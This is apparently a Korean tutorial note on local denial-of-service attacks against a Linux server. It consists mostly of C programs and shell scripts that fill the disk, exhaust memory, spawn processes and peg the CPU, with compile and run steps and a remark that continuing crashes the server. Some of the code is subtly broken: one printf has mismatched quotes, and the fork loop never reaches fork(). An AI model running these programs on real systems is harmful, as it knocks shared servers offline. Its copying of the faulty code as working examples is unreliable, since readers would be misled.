글
디스크 자원 고갈
디스크 자원 고갈
컴파일러 없을 시
# yum -y install gcc*
# vi disk.attack.c
------- 텍스트 편집기 사용해서 작성 -------
#include <unistd.h>
#include <sys/file.h>
main()
{
int attack;
char buf[100];
attack = creat("/root/tempfile",0777);
while(1)
{
write(attack,buf,sizeof(buf));
}
}
----------------------------------------------
# gcc -o disk_attack.c disk.attack.c
out(실행 파일) sorce (작성 파일)
# ./disk_attack.c
- 적당히 하다가 종료 계속하면 서버 다운됨..
- CentOS 설치 -
gcc*
qt*
qt-devel*
vi mem.c
#include <stdio.h>
#include <stdlib.h>
main()
{
char *m;
printf("CTRL+C" will terminate memory process..!!\n");
while(1)
{
m=malloc(1000);
}
}
# gnome-system-monitor
# gcc -o mem mem.c
# ./mem
vi process.c
#include <stdio.h>
#include <unistd.h>
main()
{
while(1);
fork();
return 0;
}
# gcc -o process process.c
# ./process
vi cpu.sh
#!/bin/sh
START=0
END=1000000000000000000
while [ $START -le $END ]
do
START=`expr $START + 1`
done
chmod 777 cpu.sh
./cpu.sh
vi cpu2.sh
#!/bin/sh
while true
do
a=1
done
chmod 777 cpu2.sh
./cpu2.sh